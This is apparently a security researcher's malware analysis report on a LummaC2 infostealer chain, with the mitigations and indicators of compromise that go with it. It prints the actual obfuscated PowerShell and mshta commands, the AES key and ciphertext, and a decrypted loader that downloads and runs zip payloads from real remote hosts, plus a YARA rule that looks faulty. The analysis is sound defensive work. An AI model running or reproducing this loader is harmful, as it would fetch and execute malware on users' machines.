Obfuscated PowerShell leads to Lumma C2 Stealer
Overview
In recent months, we have observed an uptick in activities related to the LummaC2 infostealer. This report delves into a new sample of LummaC2, which was initially discovered through a series of PowerShell commands that ultimately downloaded and executed a payload on the targeted endpoint. Our analysis covers the different stages of the malware’s execution, from the initial PowerShell command to the subsequent payload decryption and execution, providing insights into the tactics, techniques, and procedures (TTPs) used by the threat actor(s).
What is Lumma Malware?
Lumma is an information-stealing malware written in C (programming language) that is designed to steal sensitive information. The malware has been observed being used as Malware-as-a-Service (MaaS), which was seen on Russian-speaking forums starting around 2022. Once the malware infects the target host, it attempts to steal information from the endpoint and then exfiltrate it to the command and control server. See more information here: Lumma Malware family
Sample info
SHA256: 2468e5bb596fa4543dba2adfe8fd795073486193b77108319e073b9924709a8a – First stage
SHA256: 2caf283566656a13bf71f8ceac3c81f58a049c92a788368323b1ba25d872372e – Second stage
Both stages of the malware have been identified as LummaC2 Infostealer/Evader. We have also observed high entropy in some sections of the samples, which may indicate the presence of obfuscation. Neither file has a signed signature, but they do contain file metadata that shows masquerading attempts. MITRE Technique ‘Masquerading’ T1036.
Static Analysis
First Stage:
Upon initial discovery, we encountered this sample from a PowerShell encoded command that was attempting to communicate with a domain to download the LummaC2 malware sample.
"PowerShell.exe" -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAG0AYQB0AG8ALQBjAGEAbQBwAC0AdgA0AC4AYgAtAGMAZABuAC4AbgBlAHQALwBrAGUAcwB0AHkA
With this encoded command, we can use CyberChef to decode the string. The encoded command was identified as Base64. By running the following steps, we can decode it. Once decoded, we can see the next stage of the intrusion. With the information discovered, we observe ‘mshta’ followed by the domain, the path at the end and a potential file name. https://attack.mitre.org/techniques/T1059/001/
Mshta.exe is an executable file designed to execute Microsoft HTML files, known as ‘HTA’. As a legitimate Microsoft Windows binary, it is considered a LOLbin (Living off the Land binary), which allows actors to use the process for malicious purposes. Technique: T1218.005
mshta https[:]//mato-camp-v4[.]b-cdn[.]net/kesty
Once the ‘kesty’ file is executed, we observe a second PowerShell script being run. This script executes a HEX string that is encrypted using AES. The key stored within the PowerShell command allows us to use some Python code to decrypt the HEX string and observe the next stage of the intrusion. I have separated the HEX string from the command to simplify the reading output.
"powershell[.]exe" -w 1 -ep Unrestricted -nop function dhHMLxZL($zybwHU){return -split ($zybwHU -replace '..', '0x$& ')};$VojsypW = dhHMLxZL('HEX STRING HERE');$qxErp = [System.Security.Cryptography.Aes]::Create();$qxErp.Key = dhHMLxZL('6D6B584A7142515A59457441736E454C');$qxErp.IV = New-Object byte[] 16;$nkmgRbwD = $qxErp.CreateDecryptor();$KTyPFajOy = $nkmgRbwD.TransformFinalBlock($VojsypW, 0, $VojsypW.Length);$grJicbjRF = [System.Text.Encoding]::Utf8.GetString($KTyPFajOy);$nkmgRbwD.Dispose();& $grJicbjRF.Substring(0,3) $grJicbjRF.Substring(3)
Hex String
B9EFAD8C773C4FE92E2E22914A07D7E3EFCBCCF45813B63684D5D0CE1F91BC8987190E70CCBAF581F2D0142BECBF89E5A6DCAED490FF701F3CDBFE12FD079F9106A8A78CFA3F65476F8A2594493A51557FBF89F4A9265945E0FF6F6160800A97AD474FC3BB569A75907866265CE08B2CCD2D88F6ADA298E5DD710D04CF157DCD58482384D7E5E3633FB0794A17559D12B9E69A84DC790B17886BF689ABBE9BF8A3DAB80E0A65157688FED50BF7490602BD78A46FEE240555CA152510BAECBFE3B9467FE0382D4DAB6A17C257A8DEC931CF0117FCE15640800861C8067AD02FD8D90EE1927BBED2B9CB1E0394A43F38959B9EBFCF9BFC489373F2C53346EE09D7AFEAA9B4D6EBF4EB1D6A6173D5D6139902FA76C080E2549DF0B07E0F41756DAEB157C64BA9F61A381E46DBBAFB86BD0B08B280D14C069343E8A58438EC99CE3E7B49993D990C131C747D9399ADB868348802CC206E62BE488D0ACC3C98B9492BB3B9F5EFC9EEBDA7E0DBDE25819C02AF7001B0C11EBDBC7FA3796EB537BB0A56ED21F4E20510EC9E9B936B8F4CFEF9275350623F3846397AE1615332790CA613CD266AF8B75162814123AD7E8A7668984E84E4F1A3DCB97DF46F2057C5B671F603140220E7A8555BB2EAC36D876FD34281BB7C48DF1614D130A5680593B7A4D9C4EF06979F0D4D170F40F140C8ABE3A7E08C249E7E793A55958CE746944178427C379F918C378E81721C5F919E2738FC8E1C01FF3A0391978D2776121CFA59AC64FCAACF8738B16EC0BD5915413241B1E597F38AF0402FE54EFFB754C9FB5219268B1B91B522C105AB0DD798FBAA7A3DA5E71E63F2EE7C6166B7F07AE84409D775B3BD318808EA4901546E793F4C5BD126B31549AFFB9DEC5FA039FF59E9731E0109B31DB528F9A78B2A7E585EB1A485C0601F132B760E88EEA681FF60EFAA2986E6720C9CD3383914E242C81D29A2AC9444A996F7DEC89DB2C94ED43378A1819DAB4E7E7AFBBD183A9B8E7788DFEB161D7F009346FEED40509A439E67BE259BFDCEB580F886F4571F9A79CC1FE86A18D851026184448090232F9B55AFA195DAB83E28B6A9BD5DA1AC561A3A5B6A97417E2A531B4F418BBCE62B2DA8F49724C32BF3F53F7CC340FB224071C933B03814B20DEFE0472B543F07815070B65661CC57FC7944F92A15D012BF3E3F9E741239FAD5AF28F36CB145352C2AF705D8DD021F048433938535A3609280B453A26E86B95D8CA0A63FD5DCF8087C8B44255C22F5AD92F394EB335BFE532240359BA4AD8E2E57694EA1191542558F0131F15FF14EC7DF244B6B5DE622066FB49B56850B137E3C55C6900435A34A82B966A71EF4D42FF1C36707DF5CB363D8F877150C15416D47D8F67FBC403C073DE0A859A5B6F17336AE12021BFAC88A38508AD47908F91F2511E7F061F6408FAD76F1837C0FE999F424802E205562F2209F1534E5E684562C7FE9E15411271E0D2AFCC47399EFBF20909683747834B0729624E5A5B6FE85263FAFBF45086A2FFCDCAE018DD5419F436BFC9C130526A873497BC23529A411EE48E684205AC730B20795A4743E63E5E9DA49CCECBF36E31F6BA0C79B46CAEFE6435F7B7BB4807BE276F02EE9E96F670C55E318184601914CEAB92FA5C719BB7D4BDE9D5170DBB58B422487863FE259E1B4B2456675F867A8B1D92A48725C5042568A83E0DF9F1C3FCDECA4939BFAD67E917263F64F9036A782CE1248407A1C4037C77E1E69418FA89732C49E027E1A0A7A70D26F02124BA6476F056EC1B5CCD9140BC44C8D83E40EDAADF50B5340C117663F35142F946239BDFEF99823DA4F4507B28A18C447CDA60AC90558986CAD6423F22C874BB3ED2BE8C78DCB6C14CA2664FB9350F5176F6C3A576271B72D61F7EDA33C440833A621D4BE02ED3C6050F3A38348C07A48491A29CF52BAC19979203D68F545FB4A9313235C99486C0B0E71BEEA1BD3A805D552E65C33C6C8F77E422A5C493E9D7E61C1C1AA2BBB70289A091AD929A786B565D71F531EC3345C045ED923542BD3A64C5B165D156096D943E9CA0B6407E34D81C1601D5EEE73
from Crypto.Cipher import AES
import binascii
def dhHMLxZL(hex_string):
return bytearray(binascii.unhexlify(hex_string))
# Hexadecimal encoded string - payload
hex_string = ('B9EFAD8C773C4FE92E2E22914A07D7E3EFCBCCF45813B63684D5D0CE1F91BC8987190E70CCBAF581F2D0142BECBF89E5A6DCAED490FF701F3CDBFE12FD079F9106A8A78CFA3F65476F8A2594493A51557FBF89F4A9265945E0FF6F6160800A97AD474FC3BB569A75907866265CE08B2CCD2D88F6ADA298E5DD710D04CF157DCD58482384D7E5E3633FB0794A17559D12B9E69A84DC790B17886BF689ABBE9BF8A3DAB80E0A65157688FED50BF7490602BD78A46FEE240555CA152510BAECBFE3B9467FE0382D4DAB6A17C257A8DEC931CF0117FCE15640800861C8067AD02FD8D90EE1927BBED2B9CB1E0394A43F38959B9EBFCF9BFC489373F2C53346EE09D7AFEAA9B4D6EBF4EB1D6A6173D5D6139902FA76C080E2549DF0B07E0F41756DAEB157C64BA9F61A381E46DBBAFB86BD0B08B280D14C069343E8A58438EC99CE3E7B49993D990C131C747D9399ADB868348802CC206E62BE488D0ACC3C98B9492BB3B9F5EFC9EEBDA7E0DBDE25819C02AF7001B0C11EBDBC7FA3796EB537BB0A56ED21F4E20510EC9E9B936B8F4CFEF9275350623F3846397AE1615332790CA613CD266AF8B75162814123AD7E8A7668984E84E4F1A3DCB97DF46F2057C5B671F603140220E7A8555BB2EAC36D876FD34281BB7C48DF1614D130A5680593B7A4D9C4EF06979F0D4D170F40F140C8ABE3A7E08C249E7E793A55958CE746944178427C379F918C378E81721C5F919E2738FC8E1C01FF3A0391978D2776121CFA59AC64FCAACF8738B16EC0BD5915413241B1E597F38AF0402FE54EFFB754C9FB5219268B1B91B522C105AB0DD798FBAA7A3DA5E71E63F2EE7C6166B7F07AE84409D775B3BD318808EA4901546E793F4C5BD126B31549AFFB9DEC5FA039FF59E9731E0109B31DB528F9A78B2A7E585EB1A485C0601F132B760E88EEA681FF60EFAA2986E6720C9CD3383914E242C81D29A2AC9444A996F7DEC89DB2C94ED43378A1819DAB4E7E7AFBBD183A9B8E7788DFEB161D7F009346FEED40509A439E67BE259BFDCEB580F886F4571F9A79CC1FE86A18D851026184448090232F9B55AFA195DAB83E28B6A9BD5DA1AC561A3A5B6A97417E2A531B4F418BBCE62B2DA8F49724C32BF3F53F7CC340FB224071C933B03814B20DEFE0472B543F07815070B65661CC57FC7944F92A15D012BF3E3F9E741239FAD5AF28F36CB145352C2AF705D8DD021F048433938535A3609280B453A26E86B95D8CA0A63FD5DCF8087C8B44255C22F5AD92F394EB335BFE532240359BA4AD8E2E57694EA1191542558F0131F15FF14EC7DF244B6B5DE622066FB49B56850B137E3C55C6900435A34A82B966A71EF4D42FF1C36707DF5CB363D8F877150C15416D47D8F67FBC403C073DE0A859A5B6F17336AE12021BFAC88A38508AD47908F91F2511E7F061F6408FAD76F1837C0FE999F424802E205562F2209F1534E5E684562C7FE9E15411271E0D2AFCC47399EFBF20909683747834B0729624E5A5B6FE85263FAFBF45086A2FFCDCAE018DD5419F436BFC9C130526A873497BC23529A411EE48E684205AC730B20795A4743E63E5E9DA49CCECBF36E31F6BA0C79B46CAEFE6435F7B7BB4807BE276F02EE9E96F670C55E318184601914CEAB92FA5C719BB7D4BDE9D5170DBB58B422487863FE259E1B4B2456675F867A8B1D92A48725C5042568A83E0DF9F1C3FCDECA4939BFAD67E917263F64F9036A782CE1248407A1C4037C77E1E69418FA89732C49E027E1A0A7A70D26F02124BA6476F056EC1B5CCD9140BC44C8D83E40EDAADF50B5340C117663F35142F946239BDFEF99823DA4F4507B28A18C447CDA60AC90558986CAD6423F22C874BB3ED2BE8C78DCB6C14CA2664FB9350F5176F6C3A576271B72D61F7EDA33C440833A621D4BE02ED3C6050F3A38348C07A48491A29CF52BAC19979203D68F545FB4A9313235C99486C0B0E71BEEA1BD3A805D552E65C33C6C8F77E422A5C493E9D7E61C1C1AA2BBB70289A091AD929A786B565D71F531EC3345C045ED923542BD3A64C5B165D156096D943E9CA0B6407E34D81C1601D5EEE73')
# Decryption key
key_hex = '6D6B584A7142515A59457441736E454C'
key = dhHMLxZL(key_hex)
# Initialization Vector
iv = bytearray(16)
# Decrypt the data
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted_bytes = dhHMLxZL(hex_string)
decrypted_bytes = cipher.decrypt(encrypted_bytes)
decrypted_string = decrypted_bytes.decode('utf-8', errors='ignore')
print(decrypted_string)
Within the command, we observe ‘dhHMLxZL(‘6D6B584A7142515A59457441736E454C’)’, which we have identified as the decryption key. By using a Python script, we can decode this.
The outcome is the following decrypted PowerShell script:
iexfunction qZw($lKt, $ySk){[IO.File]::WriteAllBytes($lKt, $ySk)};function xoj($lKt){$VDFW = $env:Temp;Expand-Archive -Path $lKt -DestinationPath $VDFW;Add-Type -Assembly System.IO.Compression.FileSystem;$zipFile = [IO.Compression.ZipFile]::OpenRead($lKt);$TRJF =($zipFile.Entries | Sort-Object Name | Select-Object -First 1).Name;$xzRdS = Join-Path $VDFW $TRJF;start $xzRdS ;};function VIR($gOF){$QrS = New-Object (Aec @(3914,3937,3952,3882,3923,3937,3934,3903,3944,3941,3937,3946,3952));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$ySk = $QrS.DownloadData($gOF);return $ySk};function Aec($KUk){$wqg=3836;$LTu=$Null;foreach($ChY in $KUk){$LTu+=[char](<https://www.notion.so/$ChY-$wqg>)};return $LTu};function mjq(){$pOw = $env:Temp + '\\\\\\\\';;;$FUoqayOeHITRAQ = $pOw + 'U1.zip'; if (Test-Path -Path $FUoqayOeHITRAQ){xoj $FUoqayOeHITRAQ;}Else{ $VRplyCyUxeAYi = VIR (Aec @(3940,3952,3952,3948,3951,3894,3883,3883,3935,3933,3945,3948,3958,3941,3948,3951,3885,3882,3934,3881,3935,3936,3946,3882,3946,3937,3952,3883,3921,3885,3882,3958,3941,3948));qZw $FUoqayOeHITRAQ $VRplyCyUxeAYi;xoj $FUoqayOeHITRAQ};$oGCOSZNMJeHKTc = $pOw + 'U2.zip'; if (Test-Path -Path $oGCOSZNMJeHKTc){xoj $oGCOSZNMJeHKTc;}Else{ $MnAaDeGMvZKoV = VIR (Aec @(3940,3952,3952,3948,3951,3894,3883,3883,3935,3933,3945,3948,3958,3941,3948,3951,3885,3882,3934,3881,3935,3936,3946,3882,3946,3937,3952,3883,3921,3886,3882,3958,3941,3948));qZw $oGCOSZNMJeHKTc $MnAaDeGMvZKoV;xoj $oGCOSZNMJeHKTc};;;}mjq;\\\\x02\\\\x02
Functions Defined:
- qZw: Writes byte data to a file.
- xoj: Expands a zip archive to the temporary directory and executes the first file found in the archive.
- VIR: Downloads data from a given URL using TLS 1.2.
- Aec: Decodes an array of integers by subtracting 3836 from each value and converting the result to a character.
- mjq: Coordinates the downloading and execution of two zip files,
U1.zip
andU2.zip
, from specific URLs. U2.zip contains “ashampoo.exe”.
Looking at the functions defined, we have observed two potential zip files. From our observations, these files contain additional encoding of URLs. Using this information, we were able to decode the URL arrays using the ‘Aec’ function, and we obtained the following URLs:
- https[:]//campzips1[.]b-cdn[.]net/U1.zip
- https[:]//campzips1[.]b-cdn[.]net/U2.zip
def Aec(KUk):
wqg = 3836
LTu = ''.join([chr(ChY - wqg) for ChY in KUk])
return LTu
# Encoded URL arrays
url1_encoded = [3940, 3952, 3952, 3948, 3951, 3894, 3883, 3883, 3935, 3933, 3945, 3948, 3958, 3941, 3948, 3951, 3885, 3882, 3934, 3881, 3935, 3936, 3946, 3882, 3946, 3937, 3952, 3883, 3921, 3885, 3882, 3958, 3941, 3948]
url2_encoded = [3940, 3952, 3952, 3948, 3951, 3894, 3883, 3883, 3935, 3933, 3945, 3948, 3958, 3941, 3948, 3951, 3885, 3882, 3934, 3881, 3935, 3936, 3946, 3882, 3946, 3937, 3952, 3883, 3921, 3886, 3882, 3958, 3941, 3948]
# Decoded URLs
url1 = Aec(url1_encoded)
url2 = Aec(url2_encoded)
url1, url2
Looking at the URLs on VirusTotal, we have identified a PE file called BitlockerToGO Execution. We have also discovered that the process ‘ashampoo.exe’ was stored within ‘U2.zip,’ which we believe to be the secondary stage dropped malware known as Lumma.
Second Stage:
Looking into the next stage of the malware, some of the domains have been taken down or the threat actor has ceased activity. However, I was able to run the second stage sample ‘ashampoo.exe’ in a sandbox to perform some dynamic analysis, and this is the outcome
The first thing I wanted to examine was its execution to see what operations it performed and if there were any additional child processes or other files being dropped.
We have discovered that ‘dllhost.exe’ was created as a child process. Malicious code is injected into ‘Bitlockertogo.exe,’ which then creates two additional processes that finally create ‘dllhost.exe.’ Additionally, we observed ‘dllhost.exe’ being used for command and control, with connections to the IP.
Furthermore, we also observed an attempt at persistence. The process ‘mbssiy2zv5n8qjoazw144h95fvv3lwq.exe’ was observed being dropped from ‘ashampoo.exe’ > ‘bitlockertogo.exe,’ which then creates the child process ‘mbssiy2zv5n8qjoazw144h95fvv3lwq.exe.’ When we view process 7, we can observe a successful write to the registry in ‘HKEY_USERS{USER Account HERE}\Software\Microsoft\Windows\CurrentVersion\Run.’ This is one of the most common spots for persistence, as it allows the actor to obtain access to the target endpoint. MITRE ATT&CK T1547.001
Looking further into the command and control of the malware, we can see from Figure 8 that ‘dllhost.exe’ is being used as the process for command and control. ‘Dllhost.exe’ is a known legitimate Microsoft Windows file, specifically a COM surrogate process used by Windows to load COM objects.
Actors exploit this process maliciously by injecting code into it, instructing it to perform unauthorized actions. This technique is commonly known as Process Injection. MITRE Technique T1055.
Here, we have the PCAP of the malicious connection. From the dynamic analysis, we observed a connection to IP ‘188.68.220[.]48.’ By setting this as the destination, we can see the communication between the source and destination IP addresses. We observed multiple intervals of HTTP communication with the target C2 server.
Upon further analysis of the PCAP file from the dynamic analysis, we observed a ‘POST’ request to ‘vamplersam[.]info,’ where the request is sending data to the endpoint ‘/cfg.’ This could indicate a stream of data or commands being exchanged between the C2 server and the target endpoint. Although I am filtering the analysis to the target IP address, it’s clear that if a POST request is being made, commands are likely being sent to the target device from the C2 server in order to receive data.
The way this works is that the actor will send a command, such as ‘get file’ or ‘download file,’ allowing them to collect data from the target device. This would then fall under the MITRE Technique ‘Collection’ and Exfiltration MITRE Technique Exfiltration. Another common aspect of Lumma is that it uses the User-Agent ‘TeslaBrowser/5.5.’ However, in this sample, when examining the HTTP headers, we do not see this User-Agent. This could be because the actor is using a custom client to send the requests, likely to avoid detection knowing this User-Agent was used in prior samples.
Behavioural Processes
MITRE ATTACK Techniques
YARA Rule
rule LummaC2_Suspicious_Network_Activity {
meta:
author = "Rhys Downing"
description = "Detects suspicious repeated HTTP POST requests to C2 server from dllhost.exe"
reference = "Lumma C2 Infostealer"
date = "2024-08-11"
version = "1.1"
tlp = "WHITE"
strings:
// Target the specific HTTP POST request to the /cfg endpoint
$post_request_1 = "POST /cfg HTTP/1.1" ascii
$post_request_2 = "POST /cfg HTTP/1.1" wide
// Target the Host header indicating communication with the C2 server
$host_header_1 = "Host: vamplersam.info" ascii
$host_header_2 = "Host: vamplersam.info" wide
// Target the IP address involved in the communication
$ip_address = "188.68.220.48" ascii
// Target the Content-Type for POST data
$content_type_1 = "Content-Type: application/x-www-form-urlencoded" ascii
$content_type_2 = "Content-Type: application/x-www-form-urlencoded" wide
condition:
// Match conditions for either ASCII or wide character encoding
(all of ($post_request_1, $host_header_1, $content_type_1, $ip_address)) or
(all of ($post_request_2, $host_header_2, $content_type_2, $ip_address))
and
// Ensure that the process is dllhost.exe
pe.exports("dllhost.exe")
}
Mitigations
Endpoint Protection and Monitoring
- EDR Solutions: Deploy and configure Endpoint Detection and Response (EDR) solutions to detect and respond to suspicious behaviours, such as process injection, unusual process execution (e.g.,
dllhost.exe
with network activity), and file modifications.
Attack Surface Reduction (ASR) Rules
- Implement ASR rules to block potentially malicious behavior. Key rules to consider include:
- Block executable content from email and webmail clients.
- Use advanced protection against credential theft.
- Block executable files from running unless they meet a prevalence, age, or trusted list criterion.
Indicators of compromise
URLs:
- https[:]//mato-camp-v4.b-cdn[.]net
- http[:]//campzips1.b-cdn[.]net/U1.zip
- https[:]//campzips1.b-cdn[.]net/U2.zip
- http[:]//sulphurhsum[.]shop
- http[:]//rainbowmynsjn[.]shop
- http[:]//assumedtribsosp[.]shop
- http[:]//chippyfroggsyhz[.]shop
- http[:]//ufort[.]info
- https[:]//bitbucket[.]org/dultevupse1/zeus/downloads/108GoDll.exe
- http[:]//creepydxzoxmj[.]shop
- http[:]//boattyownerwrv[.]shop
- http[:]//vamplersam[.]info/cfg
- https[:]//sulphurhsum[.]shop/api
- http[:]//budgetttysnzm[.]shop
- http[:]//definitonizmnx[.]shop
- http[:]//empiredzmwnx[.]shop
IP Addresses:
- 188.68.220[.]48 – Country: Russia
- 185.166.143[.]48 – Country: Russia – Resolved Domain: bitbucket[.]org
File Names/Hashes:
- ashampoo.exe – SHA256: 2caf283566656a13bf71f8ceac3c81f58a049c92a788368323b1ba25d872372e
- Kesty[1] – SHA256: 2468e5bb596fa4543dba2adfe8fd795073486193b77108319e073b9924709a8a
- 108GoDll.exe – SHA256: 32db2729ef61f2a19c4c3632f0de727476b7fce0d68b5dcec8d0246042a8e398
- mbssiy2zv5n8qjoazw144h95fvv3lwq.exe – SHA256: 32db2729ef61f2a19c4c3632f0de727476b7fce0d68b5dcec8d0246042a8e398